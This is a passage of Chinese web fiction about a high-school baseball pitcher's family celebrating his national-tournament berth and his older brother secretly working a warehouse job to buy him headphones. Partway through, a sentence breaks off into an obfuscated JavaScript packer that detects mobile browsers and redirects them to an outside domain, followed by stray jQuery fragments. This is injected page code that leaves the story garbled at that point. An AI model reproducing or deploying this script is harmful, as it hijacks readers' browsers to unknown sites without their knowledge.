比赛后的庆功宴在学校旁的一家烧烤店举行，青空学园的棒球部包下了整个二楼，空气里弥漫着烤肉的香气和啤酒泡沫的酸味。
队员们围着长桌，脸上还带着赛场上的红晕，护具和球棒堆在角落，像是刚从战场撤下来的盔甲。
健太被推到主位，队友们轮流敬他饮料，橙汁和可乐在他面前摆了一排，队长拍着他的肩膀喊：“全国大赛！健太，你是我们的王牌！”
健太低头笑了笑，耳尖泛红，手指不自觉地摩挲着御守的红绳，嘴里小声说：“是大家一起赢的。”
烧烤店的老板是个棒球迷，特意送了一盘烤鱿鱼，笑眯眯地说：“健太君，这盘算我请的！全国给我狠狠砸！”
健太愣了一下，赶紧起身鞠躬：“谢谢！”
队友们哄笑起来，有人起哄：“健太，女粉都追到店门口了，你是不是得去签个名？”
健太脸更红了，摆手说：“别、别闹...”
捕手挤眉弄眼，指着窗外几个举着荧光棒的女生：“看，真的在等你！”
健太低头猛喝一口可乐，呛得直咳嗽，引来一片笑声。
宴会进行到一半，教练举起啤酒杯，声音洪亮：“今天，我们不只是赢了西宫，更是赢了通往全国的门票！但记住，全国大赛的对手更强，你们每个人都要给我拼到最后一秒！”
队员们齐声喊：“是！”
健太低头看着杯子里的气泡，眼神亮得像在燃烧，脑子里闪过天见光一郎的二垒打，那一眼挑衅像根刺扎在他心头。
他握紧拳头，低声说：“我会更强。”宴会结束时，健太背着棒球包走出烧烤店，夜风吹得他队服微微鼓起，街边的路灯在他身后拉出一道长长的影子。
队友们还在身后喊：“健太，明天见！”他转过身，笑着挥了挥手，御守的红绳在月光下晃成虚影。
健太回到家时，已经快十点。町屋的街道安静下来，只有居酒屋的醉汉在远处哼着跑调的小曲。
金太郎听到开门声，叼着夜叉丸的猫砂铲冲过来，差点把健太绊倒。夜叉丸蹲在玄关的鞋柜上，绿眼睛在黑暗里闪着光。
健太揉了揉金太郎的头，低声说：“轻点，别把姐吵醒。”
他换上拖鞋，背着棒球包走进客厅，却愣住了。客厅的灯亮着，餐桌上铺了张红白格子的桌布，上面摆满了菜：烤得焦香的鲭鱼、冒着热气的味噌汤、切得薄如纸的玉子烧，还有一盘堆成小山的章鱼烧，酱汁在灯光下闪着油光。
桌子中央放着一瓶冰镇的乌龙茶，旁边还有一小篮刚炸好的天妇罗，香味弥漫整个房间。美咲姐站在厨房门口，围裙上沾着点面粉，团扇在她手里转得像风车。
铁平叔靠在沙发上，嘴里叼着根牙签，啤酒罐换成了冰水，脸上挂着难得的正经笑。“姐？叔？”
健太愣在原地，棒球包滑到地上，“这…什么情况？”
“什么情况？”美咲姐哼了一声，团扇指向桌子，“庆功宴啊！荒巻健太，全国大赛的名额，了不起！还不快坐下吃？”她语气里带着点揶揄，但眼神温柔得像大阪夏夜的风。
健太愣了一下，喉结动了动，像是想说什么，但最终只是低头笑了笑，耳尖泛起淡淡的红。
他放下包，坐到桌边，筷子在手里转了两圈，低声说：“姐，你不是说今晚要算账？”
“账啥时候都能算。”美咲姐瞪了他一眼，团扇在她手里轻轻敲了敲桌子，“你这臭小子，拿了全国大赛的名额，不庆祝一下，我这当姐的脸往哪儿搁？”
她说着，盛了碗味噌汤推到健太面前，汤面上漂着几片葱花，热气腾腾。
铁平叔嘿嘿一笑，牙签在他嘴里晃了晃：“臭小子，今天你那指叉球，老子在看台上看傻了！当年我甲子园…”
他的话没说完，美咲姐的团扇“啪”地拍在他后脑勺上：“闭嘴！再提你那破甲子园，冰水给你泼头上！”
健太低头喝了口汤，嘴角的笑意更深了。他夹起一块玉子烧，咬了一口，蛋香在舌尖化开，熟悉的味道让他想起小时候美咲姐第一次给他做便当的场景。
他低声说：“姐，谢谢。”美咲姐哼了一声，团扇在她手里转得更快：“谢啥？我们庆祝的是荒巻健太的成果，不是青空的王牌。臭小子，别以为进了全国大赛就可以偷懒，甲子园还等着你呢！”
她的语气里带着点揶揄，但眼神温柔得像在看小时候那个抱着金太郎哭鼻子的健太。
铁平叔举起冰水杯，醉醺醺的嗓门又响起来：“来！敬我们家健太！！”
健太无奈地笑了笑，举起乌龙茶杯轻轻碰了一下，低声说：“叔，少喝点。”
铁平叔哈哈一笑，拍了拍健太的肩膀：“臭小子，管你叔？今晚高兴，老子喝水都喝出啤酒味儿！”
美咲姐翻了个白眼，团扇在她手里挥得像要起风：“喝水就老实点，别把桌子弄脏！”
健太低头扒饭，筷子尖在章鱼烧上戳出小孔，酱汁洇进米饭，染成深褐色。他突然抬头，看向美咲姐：“哥呢？”
美咲姐愣了一下，团扇停在半空，语气有点不自然：“那笨蛋，说是去跟排球部的朋友吃饭，晚点回来。”
健太皱了皱眉，像是想说什么，但最终只是点了点头，低头继续吃饭。
客厅里只剩金太郎挠门的沙沙声和夜叉丸跳上窗台的轻响，月光从气窗斜斜切进来，在桌面上投出淡淡的光影。
与此同时，建人站在町屋一家电器店的柜台前，面前摆着那款49800日元的索尼耳机，黑色包装盒在灯光下闪着低调的光。
他口袋里揣着存折，19300日元的余额像块石头压在胸口。店员是个戴眼镜的大叔，笑眯眯地推了推眼镜：“小兄弟，这款耳机降噪效果一流，适合运动时用。要不要试试？”
建人摆摆手，声音有点干：“不用试…我买了，能分期吗？”
大叔愣了一下，随即点头：“可以，首付5000日元，剩44800日元分12个月，每月3730日元，怎么样？”
建人咬了咬牙，掏出存折，声音低得像在自言自语：“可以，就这样。”
签完分期合同，建人拿着耳机的包装盒走出店门，夜风吹得他后背发凉。他低头看着盒子，脑子里闪过健太白天站在投手丘上的背影，那记决胜指叉球像刀一样刻在他视网膜上。
他咧嘴笑了笑，低声嘀咕：“臭小子，戴上这个，给你哥长长脸。”
他把盒子塞进背包，抬头看向町屋的夜空，星星被街灯盖住，只剩一抹灰蓝，像早上健太练球时的天色。
第二天，建人开始了一份新工作——在町屋郊外一家物流仓库清货。工作内容简单粗暴：搬箱子、整理货架、打包货物，每天从下午五点干到半夜，工资按小时算，1500日元一小时，一个月能攒不少。
仓库里满是灰尘和机油味，箱子重的像装了石头，轻的又滑得像条鱼。建人干了两天，手臂就酸得抬不起来，肩膀上多了几块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529092|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌青，像是被什么砸的。他咬着牙干，脑子里全是健太站在甲子园的画面，还有那款耳机的分期账单。
回家时，他身上总带着股汗味和灰尘，T恤皱得像抹布。
美咲姐每次看到他这样，都皱着眉，团扇在她手里转得像要起飞：“建人，你这身上怎么回事？又乌青一块，排球打的？”
建人嘿嘿一笑，挠了挠头：“对，排球！早川教练最近魔鬼训练，扣球没接好，砸的。”
他一边说，一边躲开美咲姐的眼神，怕她看出破绽。美咲姐哼了一声，团扇在她手里轻轻敲了敲建人的肩膀：“笨蛋，排球打成这样？下次让小茜轻点，别把你砸成猪头。”
她说着，走进厨房，拿出一瓶药酒和棉签，语气不耐烦却带着点温柔：“坐好，别动。”
建人老老实实坐下，脱下T恤，露出肩膀上青紫的痕迹。美咲姐皱着眉，用棉签蘸了药酒，轻轻擦在乌青上，冰凉的触感让建人龇牙咧嘴：“姐，轻点！疼！”
美咲姐白了他一眼，团扇在她另一只手里晃了晃：“疼还不好好保护自己？你这笨蛋，成天毛手毛脚，活该被砸。”
她嘴上骂着，手上的动作却轻得像在擦玻璃，药酒的味道弥漫开来，混着厨房里残留的章鱼烧香味。
“姐，健太呢？”建人一边忍着疼，一边岔开话题。美咲姐哼了一声，团扇在她手里转得更快：“那臭小子，在房间里研究全国大赛的对手资料，笔记写得比你考试答卷还密。”
她说着，嘴角上扬，语气里带着点骄傲，“不过，他今天问你啥时候回来，说想跟你聊聊比赛的事。”
建人愣了一下，咧嘴笑了：“哟，臭小子还挺黏人。”他低头看了眼背包，耳机的包装盒还在里面，像个沉甸甸的秘密。
药酒擦完，美咲姐把棉签扔进垃圾桶，团扇在她手里轻轻敲了敲建人的头：“行了，别老说健太，你自己也好不到哪儿去。排球部的事儿处理好，别让小茜把你罚到毕业。”
建人嘿嘿一笑，揉了揉肩膀：“放心，姐，我皮糙肉厚，扛得住。”
他嘴上这么说，心里却在盘算仓库的班表，明天还得再搬一晚上的货，争取早点把耳机的分期还清。客厅里，金太郎叼着拖鞋跑过来，夜叉丸跳上沙发，尾巴扫过建人的手臂，像在催他去睡觉。
建人揉了揉金太郎的头，低声说：“死狗，别吵，吵醒健太我揍你。”
他起身，背着包走进房间，推开门时，看到健太趴在书桌上，练习册摊开，红笔在西宫高中的资料旁写满了新笔记：“外角低球必杀！PS：哥，耳机啥时候买？”
建人愣了一下，咧嘴笑了，低声嘀咕：“臭小子，急啥？给你哥点时间。”他轻轻关上门，月光从百叶窗漏进来，在健太的背上切出几道银蓝相间的光栅。
建人看着弟弟的背影，脑子里闪过白天那记决胜指叉球，还有全国大赛的未知挑战。他摸了摸背包里的耳机盒，感觉肩膀的乌青没那么疼了。
仓库的活儿累，工资却高，够他还分期，够他给健太买那款耳机，够他陪弟弟一起砸开甲子园的门。
夜风掀起窗帘一角，町屋的夏夜在蝉鸣中轻轻摇晃。楼下传来美咲姐收拾碗筷的叮当声，像某种温柔的和弦。建人躺在床上，盯着天花板上的水渍，那朵歪歪扭扭的蒲公英在月光里更清晰了。
他闭上眼，低声说：“健太，别让你哥失望。”
这个夏天，荒巻家的火还在烧，吵闹、热烈，烧得比太阳还亮。